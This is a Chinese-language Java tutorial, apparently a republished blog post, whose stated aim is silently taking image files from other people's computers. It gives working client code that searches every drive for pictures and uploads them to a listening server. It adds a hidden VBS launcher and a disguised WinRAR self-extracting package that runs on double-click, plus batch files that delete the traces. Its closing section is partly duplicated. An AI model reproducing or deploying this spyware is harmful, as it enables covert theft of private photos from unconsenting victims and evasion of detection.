IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Java知识库 -> Java制作静默执行图片传送客户端于服务器 -> 正文阅读

[Java知识库]Java制作静默执行图片传送客户端于服务器

声明

* 该系统出于个人兴趣爱好所作,无任何不良目的。
* 基于Windows系统执行,其它系统思路一致。
* 代码很简单,这里是初步实现目的,并未进行后续优化

目的

  • 该项目主要用于从他人电脑静默获取图片资源,并下载到运行服务器的电脑上。

结构

服务器端

* 作用:等待客户端连接,接收并下载发送的图片文件
* 类型:控制台
* 语言:Java
* 使用工具:IDEA2020.2.3、exe4j
* 项目构成:服务器端类与程序入口。

客户端

* 作用:获取客户端所在电脑所有图片资源、连接服务器、发送文件资源。
  • 类型:控制台
  • 语言:Java,Windows .bat、Windows .vbs
  • 使用工具:IDEA2020.2.3、exe4j
  • 项目构成:文件操作类、客户端类与程序入口。

代码实现

服务器端

  • 服务器类代码

  • public class Server {
        private ServerSocket server;
        private AtomicInteger name = new AtomicInteger(1);
        private final String path = "D:\\getFromOther\\";
        private final ConcurrentLinkedQueue<String> existDirectories = new ConcurrentLinkedQueue<>();
    
    
        public Server() {
            try {
                server = new ServerSocket(12306);
                server.setSoTimeout(1000 * 60 * 5);
            } catch (IOException ignore) { }
        }
    
        // 调用该方法则开始等待连接,并循环接收数据
        public void receive() {
            Socket socket = null;
            ThreadPoolExecutor executor = executor = new ThreadPoolExecutor(
                    20, 500, 10,
                    TimeUnit.MILLISECONDS, new LinkedBlockingDeque<>(300));
            while (true) {
                try {
                    socket = server.accept();
                } catch (IOException ignore) { continue; }
    
                Socket finalSocket = socket;
                executor.execute(() -> {
                    receiveSingle(finalSocket);
                });
                //receiveSingle(socket);
            }
        }
    
    	// 单个socket的数据接收
        private void receiveSingle(Socket socket) {
            String fromIP = socket.getInetAddress().getHostAddress();
            if (!existDirectories.contains(fromIP)) {
                File f = new File(path + fromIP);
                if (!f.exists()) f.mkdirs();
                existDirectories.add(fromIP);
            }
    
            try (socket; BufferedInputStream bis = new 			   		BufferedInputStream(socket.getInputStream());
                 BufferedOutputStream bos = new BufferedOutputStream(
                         new FileOutputStream(path + fromIP + "\\" + name.getAndIncrement() + ".jpg"));
            ) {
                byte[] buffer = new byte[4096];
                int len = -1;
                while ((len = bis.read(buffer)) != -1) {
                    bos.write(buffer, 0, len);
                }
                System.out.println(fromIP + "-->" + name.get());
            } catch (IOException ignore) { }
        }
    }
    
  • 启动器代码

  • Server s = new Server();
    new Thread(s::receive()).start();
    

客户端

  • 客户端类代码

  • public class Client {
        private Socket socket;
        // 此为内网的IP 
        private String serverIP = "192.168.19.17";
        // 此为外网的IP,这里由于时固定了网段,因此这样写
        // 使用时需根据自己的Ip设置
        private final String outerNet = "10.254.2.";
        private final int PORT = 12306;
    
        /**
         * 会等待连接成功
         */
        public Client() {
            initialize();
        }
    
        // 该方法若是固定IP的可以去掉
        private void initialize() {
            String address = "";
            try {
                address = InetAddress.getLocalHost().getHostAddress();
            } catch (IOException ignore) { }
            if (address.startsWith("192.168.19")) return;
    
    
            // 测试服务器IP
            ThreadPoolExecutor executor = new ThreadPoolExecutor(
                    100, 255, 500,
                    TimeUnit.MILLISECONDS, new LinkedBlockingDeque<>(50));
            for (int i = 2; i < 255; i++) {
                int finalI = i;
                try {
                    executor.execute(() -> {
                        SocketAddress ad = new InetSocketAddress(outerNet + finalI, PORT);
                        try {
                            socket = new Socket();
                            socket.connect(ad, 1000);
                            serverIP = outerNet + finalI;
                            System.out.println(serverIP);
                            executor.shutdownNow();
                        } catch (IOException ignore) {
                        }
                    });
                } catch (RejectedExecutionException ignore) { }
            }
            // 等待上边执行结束
            while (executor.getActiveCount() != 0);
        }
    
    	// 发送消息
        public void sendMsg(String msg) {
            try {
                socket = new Socket(serverIP, PORT);
            } catch (IOException e) {
                return;
            }
    
            try (BufferedOutputStream bos = new BufferedOutputStream(socket.getOutputStream());) {
                byte[] buffer = msg.getBytes();
                bos.write(buffer);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    
    	// 发送大量文件
        public void sendFile(ArrayList<String> list) {
            for (String file : list) {
                sendFiles(file);
                try {
                    Thread.sleep(4);
                } catch (InterruptedException ignore) { }
            }
        }
    
    	// 发送单个文件
        private void sendFiles(String file) {
            try {
                socket = new Socket(serverIP, PORT);
            } catch (IOException e) { return; }
    
            try (BufferedOutputStream bos = new BufferedOutputStream(socket.getOutputStream())) {
                BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file));
    
                byte[] buffer = new byte[1024];
                int len = -1;
                while ((len = bis.read(buffer)) != -1) {
                    bos.write(buffer, 0, len);
                }
            } catch (IOException ignore) { } finally {
                try {
                    socket.close();
                } catch (IOException ignore) { }
            }
        }
    }
    
  • 文件操作类代码:

  • /**
     * @author ZHb
     * 操作系统盘上的文件
     */
    public class FileExe {
    
        /**
         * 查找系统上所有图片文件
         * @return 返回图片文件的路径的集合
         */
        public ArrayList<String> pictureFind() {
            File[] files = File.listRoots();
            ConcurrentHashMap<Thread, ArrayList<String>> tasks = new ConcurrentHashMap<>();
    
            for (File file : files) {
                ArrayList<String> list = new ArrayList<>();
                Thread t = new Thread(() -> IteratorFile(file, list));
                t.start();
                tasks.put(t, list);
            }
    
            // 等待所有线程执行结束
            boolean flag = true;
            int count = 0;
            while (flag) {
                // 只要有任意线程未结束,则继续等待
                Set<Thread> ths = tasks.keySet();
                count = 0;
                for (Thread task : ths) {
                    if (task.getState() != Thread.State.TERMINATED)
                        count++;
                }
                if (count == 0) {
                    flag = false;
                }
            }
    
            // 组合输出结果
            Set<Thread> sets = tasks.keySet();
            ArrayList<String> arr = new ArrayList<>();
            for (Thread set : sets) {
                arr.addAll(tasks.get(set));
            }
            return arr;
        }
    
    	/**
    	* 遍历文件夹,图片文件记录到集合,
    	*/
        private void IteratorFile(File directory, ArrayList<String> list) {
            if ("C:\\Windows".equals(directory.getAbsolutePath())
                || !directory.isDirectory())
                return;
    
            try {
                File[] files = directory.listFiles();
                // 该集合只是为了将文件的识别和文件夹的遍历操作分开,打断点时更好理解
                ArrayList<File> arr = new ArrayList<>();
    
                for (File file : files) {
                    if (file.isFile()) {
                        String name = file.getName();
                        if (isPictureFile(name)) {
                            list.add(file.getAbsolutePath());
                        }
                    } else/* if (file.isDirectory())*/
                         arr.add(file);
                }
                for (File file : arr) {
                    IteratorFile(file, list);
                }
            } catch (Exception ignored) { }
        }
    
        private boolean isPictureFile(String filename) {
            return filename.endsWith(".bmp") || filename.endsWith(".png")
                    || filename.endsWith(".jpg") || filename.endsWith(".jpeg")
                    || filename.endsWith(".gif");
        }
    
  • 启动类代码

  • System.out.println("begin find pictures...");
    ArrayList<String> pics = new FileExe().pictureFind();
    System.out.println(pics.size() + "\nFind all picture..");
    Client c = new Client();
    c.sendFile(pics);
    System.out.println("Send picture over.....");
    

制作可执行文件

  • 经过上面的步骤,服务器与客户端的代码我们已经拿到。那么接下来就是制作Windows可执行文件,即 .exe 文件,这里我们需要用到一个工具 exe4j exe4j下载地址
  • 首先需要将代码打包为 jar 文件
  • 然后使用 exe4j 制作,具体流程这里不做细节展开 exe4j制作.exe文件流程
  • 注意:该软件免费版制作的 .exe 打开会有弹窗,推荐正式版…

客户端的静默执行

隐藏控制台

  • 描述:由于该项目是控制台程序,在执行时会弹出控制台,而这与我们的初衷想违背,因此我们需要隐藏掉控制台

  • 这里我们使用 .vbs 文件来启动该项目,该 vbs 中代码

  • DIM objShell
    set objShell=wscript.createObject("wscript.shell")
    iReturn = objShell.Run("cmd.exe /c Got.exe", 0, TRUE)
    '第一个参数是你要执行的程序的路径,相对路径,完整路径都可
    '第二个参数是窗口的形式,0后台运行;1正常运行;2最小化;3最大化;缺省的话表示正常运行
     '第三个参数是表示这个脚本是等待还是继续执行,如果设为了True,脚本就会等待调用的程序退出后再向后执行
        
    
  • 然后将该文件保存为 xxx.vbs,再双击 该文件,即可隐藏该程序执行时的控制台 (可以在任务管理器看到)

  • 此时虽然已经可以隐藏控制台运行了,但是却还需要双击 vbs 文件才行,而一般客户端我们不好去直接控制,那么接下来我们就来解决这个问题。

自动化调用

  • 此时来思考一下,,如何做到启动一个软件。

  • 我们首先明确一点:.exe 文件它会自动执行吗?答案显然是不会,我们必须通过点击或者其它方式调用该程序,它才有可能执行。

  • 在 windows 上有很多可以执行的文件,但都是需要通过用户双击或者其它程序调用,那么调用该程序,我们用另一个程序,再用另外一个调用该程序…此时我们可以发现,无论怎么花式调用,我们都需要有第一个启动项来带动所有。

  • 我们的程序需要发送给其它客户端,该项目显然最好时使用压缩包格式。而压缩包需要解压,解压后才能点击我们的可执行软件启动。

  • 一般用户都会去点击 .exe 启动,但我们显然不想这样。

  • 那么可不可以解压后自动运行压缩包中的某个文件呢?当然可以,接下来需要用到一款解压软件

  • Winrar(该软件有广告,不知道现在怎么样):

    1.修改名字(可选),勾上创建自解压格式压缩文件,选择高级选项
    在这里插入图片描述

    1. 选择自解压选项
      在这里插入图片描述

    2. 输入解压路径,这里最好输入一个绝对路径,最好是C盘,方便后续操作

    ![在这里插入图片描述](https://img-blog.csdnimg.cn/4d3756a59ff84695908c7ef844ded32b.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDk2MDQ5MA==,size_16,color_FFFFFF,t_70#pic_center)
    
    1. 切换到设置,在解压后运行中输入 cmd “start C:\test\test.vbs”,注意这里是输入之前创建的 vbs 文件

      在这里插入图片描述

    2. 切换到模式,选择全部隐藏,这样在执行的时候不会有弹窗和路径选择,确保能执行到正确的文件

      在这里插入图片描述

    3. 然后点击确定、确定,会生成一个 xxx.exe

    • 到这里我们就生成了一个可以静默运行的压缩包,并且在其双击之后可以运行我们的 vbs ,静默启动客户端程序。到这里其实我们的程序已经基本可以静默运行了

    • 但其实还有最后一步,销毁文件。

卸磨杀驴

  • 在程序运行结束后,我们发送过去的软件会在用户的电脑里留下一些垃圾,这是不太好的,所以我们要帮用户清理掉这些垃圾。

  • 因此我们可以创建一个 .bat 文件,用于清理垃圾。该文件可以在客户端发送完成文件后执行

  • 客户端入口处完全代码:

    •  System.out.println("begin find pictures...");
              ArrayList<String> pics = new FileExe().pictureFind();
              System.out.println(pics.size() + "\nFind all picture..");
              Client c = new Client();
              c.sendFile(pics);
              System.out.println("Send picture over.....");
        		// 这一部是调用垃圾清理器 
              try {
                  Process p = Runtime.getRuntime().exec
                          ("cmd /c start /B wait.bat");
              } catch (IOException ignore) { }
      ```
      
      
  • 但是还有最后一丢丢小问题:

    • 实际在调用该文件时会发现此时程序还并没有结束,但你却想清理他,自然就出问题了
  • 这里直接给出解决方案:

    • 先调用一个等待器,等待大约一两秒左右,再调用清理器执行清理工作
  • 等待器: xxx.bat

  • @echo off
    choice /t 5 /d y /n >nul
    start exit.bat
    
  • 清理器: xxx.bat

  • @echo off
    rd /s /Q C:\test		// 完全清理文件夹
    

最后

? 本人低级程序员一枚,处于初学Java阶段。这些步骤都是一步一步为自己所想,但因水平不足,还待吸收经验。因此代码不佳,方案存疑等问题尽可提出。
} catch (IOException ignore) { }
```

  • 但是还有最后一丢丢小问题:

    • 实际在调用该文件时会发现此时程序还并没有结束,但你却想清理他,自然就出问题了
  • 这里直接给出解决方案:

    • 先调用一个等待器,等待大约一两秒左右,再调用清理器执行清理工作
  • 等待器: xxx.bat

  • @echo off
    choice /t 5 /d y /n >nul
    start exit.bat
    
  • 清理器: xxx.bat

  • @echo off
    rd /s /Q C:\test		// 完全清理文件夹
    

最后

? 本人低级程序员一枚,处于初学Java阶段。这些步骤都是一步一步为自己所想,但因水平不足,还待吸收经验。因此代码不佳,方案存疑等问题尽可提出。

  Java知识库 最新文章
计算距离春节还有多长时间
系统开发系列 之WebService(spring框架+ma
springBoot+Cache(自定义有效时间配置)
SpringBoot整合mybatis实现增删改查、分页查
spring教程
SpringBoot+Vue实现美食交流网站的设计与实
虚拟机内存结构以及虚拟机中销毁和新建对象
SpringMVC---原理
小李同学: Java如何按多个字段分组
打印票据--java
上一篇文章      下一篇文章      查看所有文章
加:2021-08-01 14:22:10  更:2021-08-01 14:23:01 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/5 15:10:28-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码